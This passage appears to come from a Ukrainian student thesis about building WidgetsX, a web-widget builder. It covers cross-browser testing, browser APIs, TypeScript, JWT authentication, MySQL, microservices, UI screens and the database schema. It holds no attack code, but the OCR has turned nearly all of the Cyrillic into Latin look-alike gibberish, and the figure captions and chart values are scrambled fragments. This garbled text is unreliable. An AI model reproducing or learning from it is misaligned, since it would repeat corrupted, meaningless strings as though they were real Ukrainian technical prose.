OpHa 3 HAUTOJOBHIMIMX MEpPEBar JaHOTO Opay3epy MOJATae B TOMY, 110
Y Chrome mms o6pobku cuenapiiB JavaScript BukopuctoByeThesi JavaScript-
pyuii V8, a takox y Opaysep BKJIIOYEHUH 3HEBaxyBau(aeOarrep) JavaScript,
KOHCOJb JavaScript 1 MEeHe/Kep 3aBllaHb, B SIKOMY MOKHA J13HATUCS, CKIJIbKHU
naM'sTi BUKOPUCTOBYE KOXKHa BKJIaJIka — 1 3a TOTPEOM 3aKpUTH HANOUIBII
HeHaxepausi. Came 1€ poOuTh Opay3ep Chrome Hal3pyUdHIIIUM AJ1S1 pO3pOOHHUKA 1
came TOMY BiH BUKOPHCTOBYETHCS JUISI TAHOTO TIPOCKTY.

Tox mporpamMHHil TPOIYKT MOBUHEH MiATPUMYBATUCh Ta MPAIIOBATU JIEIb
HE Ha BCIX ICHYIOYMX BeO-Opaysepax, ajne He pIIKO BUHUKAIOTH CUTYyallii, KOJH

SAKUUCh (DYHKITIOHAJI TpaIoe He Tak sSK Tpeba abo He Mpalfloe 30BCIM Yepe3
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HecyMiKHICTH 3 API, crunmsmMu abo ckpurnramu, SKi HamvcaHi MiJi OCHOBHHI
opay3ep. Lle Moxe CIpUUUHATH BIITIK KOPUCTYBAYiB.

CamMe ToMy Mae BeJMKe 3HAYCHHS KpocOpay3epHICTh CAlTy — 1€ BIACTUBICTh
caliTy OJHAaKOBO BijoOpakatucs Ta (YHKIIIOHYBaTH Yy BIAMOBIIHOCTI [0
MOCTABJICHOT'0 3aB/IaHHs B yCiX Opay3epax [14].

ToOTo Taky XapaKTepUCTUKY JAIOTh CaldTaM, AU3aiH SKUX OJHAKOBUU K B
Internet Explorer, Tak 1 B Google Chrome. BigoOpaxeHHsi calTy MoOXe
BIJIPI3HATHCS JUIIE IPIOHUMH JI€TalsIMU (3aKPYTICHUMHU KyTOYKAMHM, PIBHEM TiHI,
IpajleHTHOI0 a00 CYIUIBHOIO 3aJMBKOI0), ajié HE KOJIbOPOBOIO TaMOI0,
pO3TallyBaHHIM €JEMEHTIB, a TaKOX, L0 HaWBaXJIMBIIIE Y BU3HAYEHHI JAHOTO
MOHSTTA, CTPYKTYpOIO CalTy, aJKe OocOoOJMBO Oarato mnpoOjieM BHUHUKAE 3
0JIOYHOIO BEpPCTKOI. ToMy Ayke BaXKJIMBO PO3pOOJIATH BeO-caiiTH Ta BEO-101aTKH

3 ypaxyBaHHSM ITUX OCOOJIMBOCTEH.

2.3 TecryBaHHs 10AAaTKY Ha iHIIMX Opay3epax

[Io6 BHEBHUTHUCH y TpaIe3aTHOCTI BeO-caliTy ab0 M0AaTKy, HEJJOCTATHBO
NPOJUBUTUCH HOro juile yepe3 oauH Opaysep. DyHKIIOHAN AOJATKY MOBHHEH
OJIHaKOBO 100pe Ta 0€3 MOMIIOK MpaloBaTH Xo4a O Ha TPHOX-YOTHPHOX
OCHOBHHX Opay3epax abo miatdopmax. Huxkde Oyne mpencTaBieHO MOPIBHSIHHS
BiIoOpakeHHs 1HTepdeicy A0/IaTKy Ha pi3HUX BeO-Opay3epax.

BinoOpaxkeHHsi TONMOBHOI CcTOpiHKM noaatky y Opaysepi Google Chrome
HaBeseHO Ha puc. 2.2, B Mozilla Firefox Ha puc. 2.3, ta B Internet Explorer nHa

puc. 2.4.
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e - .
WidgetsX My applications

Video Gallel
@ Home -0
View stats ©
Explore other applications
Instagram Feed Video Gallery
@ Add posts from your Instagram account Display videos on your website

to your website

Pucynok 2.2 — BigoOpakeHHs TOJI0BHOI CTOPIHKM BeO-101aTKy y Opay3epi Google

Chrome

é . .
WidgetsX My applications

Export Video Gallery

.

@ Home

BB Applications

View stats &
Explore other applications
Instagram Feed Video Gallery
@ Add posts from your Instagram account Display videos on your website

to your website

Pucynox 2.3 — BigoOpakeHHs TOJIOBHOI CTOPIHKHM BeO-107aTKy y Opay3epi Mozilla

Firefox
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WidgetsX My applications
Video Gallel
@ Home -0
View stats ©
Explore other applications
Instagram Feed Video Gallery
@ Add posts from your Instagram account Display videos on your website

to your website

Pucynok 2.4 — BiioOpaskeHHs TOJIOBHOI CTOPIHKH Be0-10/1aTKy Y Opay3epi Internet

Explorer

BigoOpaxennst cropinku aBtopusauii y Opaysepi Google Chrome

IIPOJIEMOHCTPOBAHO Ha pHC. 2.5.

WidgetsX

IMPROVE YOUR WEBSITE WITHOUT CODING

5 9,
— P g e
Sign Up
—_—
g First name Last name
Usel
Password

——

Pucynok 2.5 — BimoO6paskeHHs1 cTopiHkH aBTopm3alii y o6pay3epi Google Chrome



BinoOGpakeHHst CTOpiHKM aBTopu3alli y Opaysepi

HaBEJEHO Ha puc. 2.6.

WidgetsX
?:‘-}\ﬁ /ﬁ\g@
R ] o %

o

Sign Up
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Internet Explorer

Pucynok 2.6 — BinoOpakeHHs1 CTOpiHKM aBTopu3allii y 6paysepi Internet Explorer

Bino6paxkenns cropinku aBropu3aiiii y opaysepi Mozilla Firefox naBeneno

Ha puc. 2.7.
WidgetsX
— @
=) - i

0
o
¢

=

Sign Up

Pucynok 2.7 — BigoOpakeHHs cCTOpiHKH aBTOpu3ailii y opaysepi Mozilla Firefox
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OTxe, BUXO/ISIUYU 3 TOTO, IO TOJIOBHA CTOPIHKA BEO-I0IaTKy Ta CTOpIHKA
aBTOpH3allii OJHAKOBO BUTJISAAIOTH Ta MPAIIOITh HA TPHOX Pi3HUX Opaysepax,
MO>XHA JIINTA BUCHOBKY, IO JIAHUW MPOEKT PO3POOIISBCS 3 JOTPUMAHHSIM MPABUI

Ta BUMOT KpocOpay3epHOCTI BeO-cauTy.

2.4 IlopiBHsiHHs poOoTH pisHux API

[noxai B 6paysepax API moxyTh npaitoBatu no-pisHomy. o Take API?

InTepdeiic npuxmamnoro mnporpamyBanHHs (Application Programming
Interfaces, APIs[15]) — me rorToBi KOHCTpPYKIli MOBH NIpOrpaMyBaHHS, IO
J03BOJISIIOTh  PO3POOHMKY OynyBaTH CKJIaaHY (QYHKIIOHAJIBHICTh 13 MEHIIMMH
sycwuisiMd.  Bonu  "mpuxoByrOTH"  CKIAMHIMIMKA  KOJA B  Mporpamicra,
3a0e3M1euyour MPOCTOTY BUKOPUCTAHHS.

Hns JavaScript, Skuii BUKOPHCTOBYETHCS [UIsI PO3POOKM JaHOTO 3a
CTOCYHKY, Ha CTOPOHI KJII€HTa, 30Kpema, icHye Oarato API. Bonu He € yacTuHOIO
MOBH, a MOOYyAOBaH1 3a AomnoMorow BOymoBaHux (yHkIii JavaScript mist Toro,
1100 301IBIITUTH Ballll MOKJIMBOCTI IT1J1 Yac HAIMMCAHHS KOMTY. Ix MoxHa PO3IITUTH
Ha JIBI KaTeropii:

— API 6paysepa BOymoBaHi B BeO-Opay3ep 1 31aTHI BAKOPUCTOBYBATH JIaHI
Opay3epa Ta KOMITHOTEPHOTO CEpeOBHUINA Uil OUIBII CKIAQAHUX i 3 IUMH
nanumu, Hanpuknan, APl Teonoxaumii (Geolocation API) wagae mnpocti y
BUKOPHUCTAaHHI KOHCTPYKLii JavaScript A poOoTH 3 JaHUMHU PO3TAIlyBaHHS, TaK
110 BU 3MO’KETE BIJ3HAYUTH CBOE po3TamryBaHHsS Ha kapTi Google Map;

— croponHi APl He BOynmoBani B cranmaptHuil Opaysep, Taki API Ta
iH(dopMaIlil0o MpOo HUX 3a3BUYail MOTPIOHO IIyKaTU B IHTEPHETI, HANPUKIA],
Twitter API no3BoJisie po3minyBaTy OCTaHHI TBITH Ha BallloMy BeO-CaiiTi, Y lIbOMY
API BuzHaueHo Habip KOHCTPYKIIIH, K1 3[IACHIOIOTH 3alUTH J0 cepBiciB Twitter
Ta MOBEPTAIOThH NIEBHI JaHi.

Bunu API naBeneno Ha puc. 2.8.
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Pucynok 2.8 — Buau API

[Tpukmnan po6otu API npoaemoncTpoBano Ha puc. 2.9-2.10.

Pucynok 2.9 — Ak npamroe API
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[Mupoxe po3maittss APl y cydacHux Opaysepax J03BOJIE€ HATIJIUTH Bally
pOrpamy BEJIMKUMHU MOXJIUBOCTSIMHU. Takoxk, 10 HAMOUTBII MOMYJISAPHUX Ta YacTO
BUKOPUCTOBYBaHUX KaTeropii API BimHOCSATBCS:

— APl s poGoTu 3 JOKYMEHTaMH, 3aBaHTAXKEHUMH Yy Opaysep,
Hanpukiaa - DOM (Document Object Model) API, mo no3Bosisie mpaioBatu 3
HTML Ta CSS - crtBoproBat, Bupamatu Ta 3miHioBatu HTML, nunamigHO
3MIHIOBATH BUTJISAJI CTOPIHKH 1 T.JI;

— API, axi npuiiMaroTh J1aHl BiJ CEpBEpa, YaCTO BHUKOPUCTOBYIOTHCS IS
OHOBJICHHSI HEBEIMKHMX YaCTUH BeO-CTOpiHKH, crucok API, 3aBasku sxum 1e
MoxnBo, Bkimtouae: XMLHttpRequest Ta Fetch API. Bu Takox moriau 3ycTpitu
TEepMiH Ajax, sIKHH OIMHUCYE 1[I0 TEXHOJIOTIIO;

— API nns poGotu 3 Tpadikoro MHMPOKO MIATPUMYIOTHCA Opay3epamu,

HanonysspHii 3 Hux: Canvas Ta WebGL Ta 1H1m1.

2.5 BuchHoBku 3a po3aijiom 2

Po6ora pizuux JavaScript APl Tpoxu Bifpi3HS€THCA, ajie B OCHOBHOMY B
HUX CXO0X1 (PYHKIIIT Ta MPUHIIUI POOOTH.

B3aemomist 3 APl y koni BinmOyBaeThcsi yepe3 oauH abo Ounbline 00'€KTiB
JavaScript, siki cimykaTh KOHTeWHepaMu Juist iHpopMaiiii, 3 sikoro mpaioe API, Ta
peani3ytoTh (PyHKIIOHAJIBHICTh, IKY Hajgae API.

Otxe, APl — e gyxe MOTyXKHUH Ta KOPUCHUHN 1HCTPYMEHT y Cy4acHii

po3po0I1Ii BEO-3aCTOCYHKIB, KWW Hajae 0araTo MOXJIMBOCTEH JJIsI PO3IIUPEHHS

(GyHKIL1OHATY.
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3 INPOEKTYBAHHA CUCTEMUA

3.1 Bu0ip cTeky TexXHO0JI0Tiil AJ151 pO3p0oOoKH

IIpu po3poOii JaHOro MPOTrpaMHOro 3ade3rnedeHHs OYyJI0 BHUKOPHUCTAHO
OJIHY 3 HaUMOMyYJIIpHIIMX MOB IporpamyBaHHs JavaScript Ta TypeScript.

JavaScript B OCHOBHOMY BHKOPHUCTOBYETHCS JJISI CTBOPEHHS IHTEPAKTUBHUX
BeO-CcTOpiHOK. Buxos4u 3 JOCTYNMHUX BakaHCiH, JavaScript € TpeTbor0 HaNHOUIBII
3aTpeOyBaHor0 MOBOIO 2019 poky. PediTHHr MOB mporpamyBaHHs HaBEJIEHO Ha

puc. 3.1.

Javascript 62 5%
SaL 51.2%

Java 39.7%

C#

Python
PHP

Cas

c
TypeScript
Rukbyy

Swift
Objective-C
VBNET
Assambly
R

Per

34.1%

Az 0%

28.1%

22.3%

19.0%

9.5%

9.1%

6.4%

4.3%

Pucynok 3.1 — Peittunr nonysnsipaocti JavaScript cepen po3poOnukis Ha 2023 pik

TypeScript — moBa mporpamyBaHHs, TpejacTtaBieHa Microsoft BoceHu
2012 poxy; MO3UIIIOHY€EThCA SK 3aci0 pPO3pOoOKM BE03aCTOCYHKIB, IO PO3UIUPIOE
MO>KJIMBOCTI MOBU ITporpamyBaHHs JavaScript [16].

TypeScript € 3BopoTHRO cymicHuM 13 JavaScript. DakTuyHO, MiCIA

koMnursanii mporpamy Ha TypeScript MoOXHa BHKOHYBaTH B OyIb-SKOMY
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cydacHOMy Opay3epl a00 BUKOPHMCTOBYBATH CIUIBHO 13 CEPBEPHOIO IMIATHOPMOIO
Node.js.

[TepeBaru Hax JavaScript:

— MOJKJIUBICTh SBHOTO BU3HAYCHHS THUIIIB (CTaTUYHA TUITI3allis);

— MIATPUMKA BUKOPUCTAHHSI TOBHOLIHHUX KJIACIB (SIK y TpaaulliiHUX
00'€KTHO-OP1EHTOBAaHMX MOBaX);

— TIATPUMKA MIKIIOYCHHS MOYJIIB;

— 3a 3aJyMOM IIi HOBOBBEJICHHSI MalOTh MIJBUIIUTH MIBUAKICTH PO3POOKH,
POYUTHICTh, Pe(AKTOPUHT 1 MOBTOPHE BUKOPUCTAHHSA KOAY, 3A1HCHIOBATH MOIIYK
MOMUJIOK Ha eTar po3poOKH Ta KOMIJIALIL, a TAKOXX MIBUAKOIIO MPOrpam.

[TinTpumka auHAMIYHOT TUTI3aMil 30epiraeThess — xommisitop TypeScript
yCHIITHO 00poOuThH 1 He MoaudiKoBaHUM Ko Ha JavaScript.

OcCHOBHUI NpUHLIKIT MOBU — Oynb-9Kkuil ko1 Ha JS cymicHuii 3 TS, ToOTO
B mporpamax Ha TypeScript MO)KHa BHUKOPHCTOBYBaTH CTaHaapTHi JavaScript-
010J110TeKH 1 paHillle CTBOPEH1 HANIPAIFOBAHHS.

ba Oinpuie, MOXKHa 3aJIMIIUTH HasiBHI JavaScript-mpoekTd B HE3MIHHOMY
BUTJISIII, a JilaHI MpO THUIM3alii PO3MICTHTH y BHUIVISAI aHOTAIlM, SIKI MOMKHA
MOMICTUTH B OKpeMi (aitnm, sKi HE 3aBaXaTUMyTh po3poOIl 1 IpsIMoMy
BUKOPUCTAHHIO TMPOEKTY (HAMpPUKIAA, MOMIOHWUN MIAXi 3pYYHUN TpU PO3PpOOII
JavaScript-616110TeK).

Huxye Oyne HaBeAeHO MOPIBHSHHSA OCOOJMBOCTEM MOB NMpPOrpaMyBaHHS
JS ta TS (Tabmus 3.1).

JuzaitH Ta CTWIi3allis KIIEHTChKOT YacTHMHM JIOJaTKy BHKOHaHI 3a
nornoMoror CSS-monyneil, To1oBHa OCOOIUBICTh SIKUX — 1I€ YHIKAQIbHUN Xell JUIs
KOHO1 Ha3BU KJiacy abo id, TOOTO CTHJIl MOKYTh MaTH OJIHAKOB1 Ha3BH Ta HE MaTU
IpH IIbOMY KOH(JTIKTIB.

ABTOpH3allisi Ha CEPBEPHIM YAaCTHHI JOJATKy BHUKOHAHA 32 JOTIOMOTOIO
JWT — JSON Web Tokens[17]. Be6-token JSON (JWT) — mne Biakputuit
CTaHJApPT SKUM BHU3HAYA€ KOMIIAKTHUM 1 camMojocTaTHIA crocid Oe3neyHoi

nepemadi iHpopMmaiii Mix cropoHamu sik 00’ekT JSON. [0 iHbOpMarito MoxHA
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MIEPEBIPUTH Ta JIOBIPATH iif, OCKUIbKKA BOHA Mae nudposuii mianuc. JWT moxHa
MianmucaTyd  3a Jgonomororw  cekpery (3 aiaroputMoMm HMAC) abGo mnapu

BIJIKpDUTUX/TIPUBATHUX KITIOUIB.

Ta6muis 3.1 — [opiBusauas moB JavaScript Ta TypeScript.

Kareropis JavaScript TypeScript

JlerkicTh BUBUCHHS +

[TinTprmka MOIyJIiB

[TlinTpuMKa cTaTUYHOT TUITI3aIlI{

[Tinrpumka QyHKITT

HE00OB’A3KOBOT'0 NIapameTpy

Bennka kinpKicTh pO3pOOHUKIB Ta

KOPHUCTYBauiB

[Ipuknan crpykrypu JWT HaBeneHo Ha puc. 3.2.

Structure of a JSON Web Token (JWT)

m PAYLOAD SIGNATURE

\.

Tekens

Pucynok 3.2 — Ctpykrypa JWT

JSON Be6-Token (JWT) npuzHaueHuit yis iepeaadi minucaHux «3asiBOK»
(claims) mix ciyx0aMu (SIK 30BHIIIHIMHM, TaK 1 BHYTPIIIHIMH JJI BalIoro
3aCTOCYyHKy/calTy). «3asBKu» — dYacTuHa I1HpoOpMaIlli, fAKy IHII MOXYTh
nepersiaaTH Ta/ado mepeBipsATH, aje He 3MIHIOBATH.

100 imeHTH(iKyBaTH/311MCHUTH aBTEHTU(DIKAIIII0 KOPUCTYBaya y BaILIOMY

(BeO6/MOOLTEHOMY) 3aCTOCYHKY, PO3MICTITh CTaHAAPTHU30BAHUI TOKEH y 3aroJIOBOK
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a6o url cropinku (a6o kinneBy Touky API). Takum urHOM MU 3acBig4y€eMoO, IO
KOPHUCTYBau aBTOPU3yBABCS Ta MOXKE MEperisiaaTi 0axaHui KOHTEHT.

Came mi mepeBaru OOyMOBIIOIOTh HEOOXITHICTh BUKOpucTOBYBaTH JWT
IIpU PO3poOIIl IAHOTO MPOTPAMHOTO ITPOIYKTY.

B skocti cuctemum kepyBaHHS 0OazamMu  JaHUX OyJI0  BHPILIECHO
BUKOpHcTOBYyBaTn MySQL.

MySQL — BinpHa cUCTeMa KepyBaHHsS peNifHMMH 0a3aMu JaHUX, siKa
Oyna po3pobsieHa komnaHiero «TcX» g MABUINEHHS MBUAKOAIT 0OpOOKH
Benukux 0a3 manux. L{s cucrema kepyBanus 6azamu nanux (CKBJ) 3 Biakputum
KoZ0M OyJia CTBOpEHA SIK albTepPHATUBA KOMEPILIHHUM CHUCTEMaM.

MySQL 3 camoro nouatky Oyna ayxke cxoxoro Ha mSQL, nmpote 3 yacom
BOHA Bce posmmproBaiacs i 3apa3 MySQL — ojHa 3 HaWMONMIUPEHIIMNUX CUCTEM
KepyBaHHS 0a3aMu JaHUX.

Bona BUKOpHUCTOBY€THCS, B TEpPIIy 4Yepry, JUIsl CTBOPEHHS IUHAMIYHHX
BE0-CTOPIHOK, OCKUJIBKM Ma€ 4YyJOBY MIATPUMKY 3 OOKY pI3HOMAaHITHUX MOB
nporpaMmyBaHHS.

Po6ora 3 6azamu nanux MySQL Bukonyetbcs yepes cepenopuiie MySQL
Workbench, inTepdeiic skoro HaBeneHo Ha puc. 3.3, — 1HCTPYMEHT IS
BI3yaJbHOIO MPOEKTYBaHHA 0a3 JaHMX, IO IHTETpye€ MPOEKTyBaHHS,
MOJICTIOBaHHS, CTBOPEHHS ¥ ekcruryaTailifo bl B equHe O0€3KOIITOBHE OTOYCHHS
muist cuctemu 0a3 ganux MySQL. € nacrynaukom DBDesigner 4 3 FabForce.

AcunxponHicTh 00MiHy gaHuMu (AJAX) 3a6e3neuye Axios(puc. 3.4)— 1e
HTTP-knienT, 3acHoBanuii Ha Promise 15 node.js Ta 6paysepa. Bin i3omopdumii
(= BIH MOXe TpalroBaT y Opaysepi Ta node.js 3 Ti€ro x 06a3010 kojiB). Ha cropoHi
cepBepa BiH BUKOPHUCTOBYE HaTWBHUU node.js http-momynb, TOAl SK CTOPOHI

kiieHTa (Opaysep) Bid BukopucroBye XMLHttpRequests.
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Pucynok 3.3 — Ctpykrypa cepenosuiiia MySQL Workbench

Tox MokHa miACyMyBaTH, IO BCl BHIIEHABEACHI NpPOrpamMHi 3acolu
MOXYTh 3a0e3MeYnTH MIBHIKY pPO3POOKY JMJOAATKY, a TaKOX B3IPOCTHUTH Ta

MOKPAIIUTH CaM MPOIIEC PO3POOKH.

Pucynok 3.4 — HTTP-kmienT Axios

3.2 IIpoexTyBaHHS ApXITEKTYPH CHCTEMH

[lepmum Ta qy’ke BaXXJIMBUM KPOKOM y CTBOPEHHI MPOrPaMHOTO 3acoly €

IMPOCKTYBAHHA apXiTCKTypI/I CHUCTCMU.
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3a OCHOBY B MPOEKTYBaHHI apXiTeKTypu Oyio B3siTo Mikpocepsicu [18] —
apXITeKTYpHUN CTHIIb, 32 SIKAM €IUHHUI 3aCTOCYHOK OYyIY€ThCS SIK CYKYITHICTb
HEBEJIMUYKHUX CEpBICIB, KOXKEH 3 SKHUX IMPAIIO€ Yy CBOEMY BIIACHOMY IpoIleci Ta
CHUIKYETHCS 3 PEIITOI0, BUKOPUCTOBYIOUH MPOCTI Ta IMIBUJIKI MMPOTOKOJIM Mepeaadi
nanux, 3a3sudyat HTTP.

Ili cepBicu OynylOThCS HABKOJIO Oi3HEC-MOTPeO 1 pPO3rOpPTAIOTHCS
HE3aJIe)KHO OAWH Bil OJHOTO 3 BUKOPHUCTAaHHSM 3a3BHYail  MOBHICTIO
aBTOMATU30BAaHOI'O CepeloBUILA. ICHye aOCOMIOTHUN MIHIMyM LEHTPaJli30BaHOTO
KepyBaHHsI IuMu cepBicamu. Cami 1o co0i BOHM MOXYTh OyTHM HamucaHi 3
BUKOPUCTAHHSM PI3HUX MOB IIPOTpaMyBaHHS 1 TEXHOJIOT1H 30epiraHHs JaHUX.

MikpocepBicHa apXiTeKTypa 3pydHa JijIsl peanizalii mporecy 0e3nepepBHOI
MOCTaBKU TPOTPAMHOTO TPOJYKTY, Ha BIIMIHY B CEpBIC-OPIEHTOBHOI
apXiTEeKTypH, MIKPOCEpPBICHA CIPSIMOBAaHA HA CTBOPEHHS OJHOTO 3aCTOCYHKa, B
TOM 4Yac sIK CepBICHO-OPIEHTOBAHA CHCTEMA fBIIIE COOOI0 MHOXKHHY 3aCTOCYHKIB,
SIK1 B3a€EMO/IIIOTE MK COOOIO.

OCHOBHI BJIaCTHUBOCTI:

— BUCOKMU pIBEHb HE3aJEKHOCTI: HE3aJeKHAa PO3pOoOKa, He3aJIeKHE
PO3rOpTaHHS;

— He3aJle)He MacTaOyBaHHS;

— HeBeJMKa KOJ0Ba 0a3a 3MEHIIY€ KIUIbKICTh KOH(IIIKTIB Ta JO3BOJISIE

IIBUKO 3a]y4aTd HOBUX PO3POOHUKIB;

IPOCTOTA 3aMIHU OJIHIET peai3allii cepBicy 1HIIOKO;

IPOCTOTA JI0AaBaHHs HOBOT (PYHKIIOHAIBHOCTI B CUCTEMY;

— e(eKTHUBHE BUKOPUCTAHHS PECYPCIB;

— @JIACTUYHICTB: BUXIJI 3 JIAJLy OJTHOTO CEPBICY 3a3BUYAi HE MPU3BOJIUTH 10
BUXOJY 3 JIaly BCIET CUCTEMU;

— CEepBICH OpPraHi3oBaHi BIIHOCHO O13HEC JIOTIKH SIKy BOHU BUKOHYIOTb;

— KOXXEH CEpBIC HE3aJIeKHO BIJ IHIMUX MOXKe OyTH peani3oBaHUN 3a

J0TIOMOT 010 OyAb-s1K0T MOBH nporpamyBanss, CYB/], Ta in.;
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— apXITeKTYpHO MOOYJ0BaHI 3a CHUMETPUYHUM MPUHIUIOM (BUPOOHUK-
CIIO’KMBaY).

[Tpuxmnan MikpocepBICHOT apXiTEeKTYpH HaBeIeHO Ha puc. 3.5.

Account

Da
Inventony
Inventary ;=]
Service
Shipping
(1]

Pucynok 3.5 — Ilpukinan cxeMu MIKpOCEPBICHOT apXITEKTYPH

Came 3aBAsSKM BCIM BHIIICHABEJICHUM OCOOIMBOCTAM OyJio 0OpaHO came
MIKPOCEPBICHY apXITEKTYpy MJIsl MPOCKTYBAHHS apXITEKTypU JIAHOTO MPOTPaAMHOTO
MPOJIYKTY.

CxeMy TIpOEKTYBaHHS apXiTEeKTypH JaHOI CUCTEMH MPOJEMOHCTPOBAHO HA

PUCYHKY 3.6.
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WidgetsX
MySQL DB

Matik paHwx dhainy

1..

WidgetsX
Server

50L

3aNuT Ha OTPUMAHHA/CTBODEHHA
thaiina

Bipnosink
¥ thopmari
JSOMN

Y

3annti

HTTP
Januti

Widgetsx
Admin Client

3.3 IlpoexrtyBaHHs rpadiuHoro intepgeiicy

Pucynok 3.6 — ApXiTekTypa cucTeMu

Hactynmaum kpokoM € po3pobka rpadiudoro intepdeiicy nporpamu. [lpu

pO3p0o0I1Il TPOrpaMHOro 3a0e3MeueHHs JUIsi CTBOPEHHS BIPKETIB OyJM BpaxoBaHi

HACTyNH1 (yHKIIOHAIbHI BUMOTH JI0 MPOTPaAMHU:

— aBTOpHU3Allisl Ta PEeCTpallisi KOPHUCTYBayiB IMPOTrpaMu Jisi CTBOPEHHS

BIJKETIB;

CTBOPEHHS HOBHUX BIJKETIB;

— TIepEerJIsii CTBOPEHUX BIKETIB;

— MOXJIMBICTh pelaryBaTH CTBOPEHI BIKETH.

CropiHKy aBTOpH3aIlii y Mporpami IJisi CTBOPEHHS BIJIKETIB 300paKEHO Ha

puc. 3.7. TyT KOpPUCTOBYyBau IMOBMHEH aBTOPU3YBAaTHCS a00 CTBOPUTH HOBUU

aKayHT y J0JIaTKy, abu po3noyaTu poOOTy 3 JOAATKOM.
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WidgetsX

IMPROVE YOUR WEBSITE WITHOUT CODING

Welcome Back

Email
Usemame

Password

Password

Sign in

' Don't have an account? Create

T

Pucynok 3.7 — Cropinka aBTOpH3allii y nporpami JJjisi CTBOPEHHS BIDKETIB

[Ticnst aBTOpHM3alii abo peecTpailii KOPUCTyBad MOTpAIUIsiE HAa TOJOBHY
CTOpIHKY JnoaaTKy. Ha 1i#i cToOpiHIi BiH MOXKE CTBOPUTH HOBI BIJDKETH,
neperisiHyTd iX abo penaryBaTd, a00 NIAKIIOYUTH CTOPOHHI 3aCTOCYHKH.

[aTepdeiic rosoBHOI CTOPIHKU POJEMOHCTPOBAHO Ha puc. 3.8.

<
WidgetsX MV applications

Video Gallery

D:I -+ Add application

View stats ©

@ Home

BE Applications

Explore other applications

Instagram Feed Video Gallery
@ Add posts from your Instagram account Display videos on your website
to your website

Pucynok 3.8 — I'ojioBHa CTOpIHKA MPOrpaMH Jjisl CTBOPEHHS B1/IKETIB
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PenaryBatu icHy10UM# BIJPKET MO>KHA MICIISI TIEPEXOy Ha HOTO CTOPIHKY C
roJIoBHOI. IcHye Tun BijKeTy 11 Ha3Boro «Instagram [amepes».
Cropinka penaryBaHHs Bimkery Tuiy «Instagram ['anepes» HaBeneHa Ha

puc. 3.9.

Untitied widget WidgetsX Cancel

=) Source

Sources =
Instagram Connection
5] Authorize in your Instagram
Layout | account to display profile.

D

Color

@ Connect to Instagram

Pucynok 3.9 — Cropinka penaryBaHHs BikeTy Tuity «Instagram I"anepes»

Jlnst CTBOpEeHHSI JSSKUX THIIIB BI/DKETIB HEOOXIJHA MOJKIMBICTH HaJaTH
JOCTYIl IO JaHMX 31 CTOPOHHIX AojaTkiB. (s mporo Oyyo MPUAHSATO PIlICHHS
BUKOPUCTOBYBATH CTaHAAPT «BIAKpUTOI aBTOopHM3aii» OAuth.

OAuth 2 abo «Binkpura aBropu3aiish» — e CTaHAAPT, PO3POOICHHMA AT
HaJlaHHsI caTy abo J0JaTKy IOCTYNy JO0 PECypcCiB, PO3MIIIEHUX I1HIIMMHU BeO-
nonarkamu. OAuth 2.0 € mpoTokosgoM aBTOpH3allii 1 CIYXUTh 3aCO00M HaJaHHS
noctyny 110 Habopy pecypcis (BiananeHi APl abo nanumu kopuctyBaua).

B sikocTi migTBEpIYKEHHS HAJAAHOTO AOCTYIy BUKOPUCTOBYETHCS TOKEHU Y
dopmati JSON Web Token (JWT), siki MOKyTh MaTH OOMEKEHUN TEPMIH Jii.

JIJiss OHOBJIEHB TpaB JIOCTYIy BHKOPHUCTOBYETHCS TOKEH OHOBJICHHS, 3a

AOIMOMOTI'OKO AKOT'O MOJKHA 3allMTyBaTU OHOBJICHUU TOKCH A0CTYyI1y.
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Takox MOXHa CTBOPUTH BIIKET y Bineo-popmari. CTOPIHKY CTBOPEHHS

B1JI€O-BIDKETY MIPOJAEMOHCTpOBaHO Ha puc. 3.10.

d widget WidgetsX Cancel

B Layout
Layout

2 0 o
Video Vertical Horizontal

G

Color

Feed Title >
Slider Settings i

Other >

Pucynok 3.10 — CtopiHka CTBOPEHHS BiJI€O-BIJIKETY

Taxkum ynHOM OyB po3poOseHuid iHTepdeic qaHoi nmporpamu, 0a3yr4HuCh

Ha OCHOBHHX q)YHKHiOHaJ'IBHI/IX BHUMOI'aX 10 IIPpOTrpaMHOTO 3a0e31eUeHHs.

3.4 IIpoexTyBaHHS apXiTeKTYpH 0a3u JaHUX

HactynmHuM He MEHII BaXJIMBUM KPOKOM CT&JIO MPOEKTYBaHHS
apxitektypu 60a3u ganux MySQL, ToMy sk BeldMKa KUIBKICTh JaHUX TOBHUHHA
30UpaTUCh, 30€piraTuch Ta 3MIHIOBATHC.

HasBHicTs 0a3u naHux 0OJIETNIye MOUTYK Ta KEpyBaHHS JAHUMH, CIIPOIILY€E
Ta MPUILIBUALIYE X 0OPOOKY.

CtpykTypy 6a3u JaHUX MpOrpamMu MPOJAEMOHCTPOBAHO Ha pUCYHKY 3.11.
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=% instagram_app_config
¢ id
@ user_app_id
posts_columns
feed_title
primary_color
secondary_color

data *® user_applications

created_at id
updated_at ks =% applications
@ user_id zid

& app_id
title
created_at
updated_at

- - name
== video_app_config description
¢ id

@ user_app_id

layout_float — users

feed_title *® user_integrations id
primary_color 2 id first_name

secondary_color last_name

user_id
data s - full_name

created_at type username

updated_at refresh_token DaEEword

created_at

created_at

updated_at
updated_at

Pucynok 3.11 — ba3a nanux nporpamu

ba3a maHnx MicTATH Takl TaOINIL:

— KOpHUCTyBaul (users) — MICTUTh MyOJiuHy IHQOpMaLIl0 KOPUCTyBaya 1
0OJIIKOBI JIaH1 JUTsl BXOy B CHCTEMY;

— iHTerpamii ~ KOpUCTyBadya 13  cepBicaMH  "TpeTboi  CTOpPOHH"
(user_integrations), nani juisi orpuMands OAuth TokeHa KopucTyBaua HEOOX1aHI
JUISL aBTOpHU3allll Ta HAJaHHS MpaB JOCTYIy A0 JaHUX Y JA0JaTKax '"TpeThol
CTOpOHU";

— mporpamu (applications) — MICTUTh B €001 CHHCOK JOCTYIMHHUX THIIIB
BIJIDKETIB;

— Iporpamu KOpHUCTYyBaua (user_applications) — CTBOPEHI

mporpamMu(BiHKETH) KOPUCTYBAYa;
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— KoHIrypamis Ta naHi nporpamu tumy "Bigeo" (video app config),
BUOpaHI MapaMeTpu KacTomizallii OCHOBHOTO/BTOPUHHOTO KOJIbOPY, MO3HIIII BiJEO
mieepa (TOpU30HTAIbHA, BEPTHKAIbHA), OMIIOHATHHUI 3arojioBOK, JaHi BiJIEO Y
dopmati JSON;

— KoH(QIrypauis Ta JjaHi nporpamu Ttuny "lHcrarpam  ranepes”
(instagram_app_config), BuOpani mapameTpu KacTomizallii OCHOBHOT'O/BTOPUHHOTO
KOJBOPY, KIJIBKICTh KOJOHOK IyOJiKailii, ONIIOHAJbHUM 3arojoBOK, JIaHi
